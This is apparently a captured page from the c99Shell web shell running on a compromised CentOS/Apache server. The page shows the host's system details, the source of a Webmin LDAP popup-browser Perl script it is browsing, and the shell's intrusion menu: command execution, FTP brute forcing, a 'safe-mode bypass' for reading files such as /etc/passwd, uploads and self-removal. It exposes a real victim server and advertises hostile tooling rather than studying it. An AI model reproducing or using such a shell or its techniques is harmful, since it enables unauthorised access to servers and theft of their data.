!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/ldap-client/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     popup_browser.cgi (2.76 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Show the LDAP tree in a popup browser window, for selecting something

$trust_unknown_referers = 1;
require './ldap-client-lib.pl';
&popup_header($text{'browser_title'});
&ReadParse();

# Connect to LDAP server, or die trying
$ldap = &ldap_connect(1);
if (!ref($ldap)) {
    print &text('browser_econn', $ldap),"<p>\n";
    &popup_footer();
    exit;
    }

# Work out the base (current navigation level)
if ($in{'parent'}) {
    $base = $in{'parent'};
    }
elsif (!$in{'base'}) {
    $conf = &get_config();
    $base = &find_value("base", $conf);
    }
else {
    $base = $in{'base'};
    }

# Javascript to update original field
print "<script>\n";
print "function ldap_select(f)\n";
print "{\n";
print "top.opener.ifield.value = f;\n";
print "top.close();\n";
print "window.close();\n";
print "return false;\n";
print "}\n";
print "</script>\n";

# Find the actual base object
$rv2 = $ldap->search(base => $base,
             filter => '(objectClass=*)',
             score => 'base');
if (!$rv2->code) {
    ($bo) = $rv2->all_entries;
    ($top) = grep { $_ eq "top" } $bo->get_value("objectClass");
    }

# Show current base (with option to change), and parent button
print &ui_form_start("popup_browser.cgi"),"\n";
print &ui_hidden("node", $in{'node'}),"\n";
print "<b>$text{'browser_base'}</b>\n";
print &ui_textbox("base", $base, 40)," ",&ui_submit($text{'browser_ok'}),"\n";
$parent = $base;
$parent =~ s/^[^,]+,\s*//;

# Show the OK button only if the object type is appropriatye
if ($in{'node'} == 0 && $top ||
    $in{'node'} == 1 && !$top ||
    $in{'node'} == 2) {
    print "<input type=button onClick='return ldap_select(\"".
          &quote_escape($base, '"'),"\")' ",
          "value='$text{'browser_sel'}'>\n";
    }
print &ui_form_end();

# Find sub-objects
$rv = $ldap->search(base => $base,
            filter => '(objectClass=*)',
            scope => 'one');
if ($rv->code) {
    # Search failed
    print &text('browser_esearch', $rv->error),"<p>\n";
    &popup_footer();
    exit;
    }

print "<table width=100%>\n";
if ($parent =~ /\S/) {
    print "<tr> <td><i><a href='popup_browser.cgi?node=".
          &urlize($in{'node'})."&base=",
          &urlize($parent),"'><img src=images/up.gif border=0> ",
          &html_escape($parent),"</a></td> </tr>\n";
    }
if ($rv->all_entries) {
    # If this object has sub-objects, show them
    foreach $dn (sort { lc($a->dn()) cmp lc($b->dn()) } $rv->all_entries) {
        print "<tr> <td><a href='popup_browser.cgi?node=".
              &urlize($in{'node'}),"&",
              "base=".&urlize($dn->dn()).
              "'><img src=images/open.gif border=0>",
              " ",&html_escape($dn->dn()),"</a></td> </tr>\n";
        }
    }
else {
    # Show attributes
    foreach $a (sort { lc($a) cmp lc($b) } $bo->attributes()) {
        @v = $bo->get_value($a);
        print "<tr> <td>$a</td> <td>:</td> <td>",
              join(" , ", @v),"</td> </tr>\n";
        }
    }
print "</table>\n";

&popup_footer();

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.011 ]--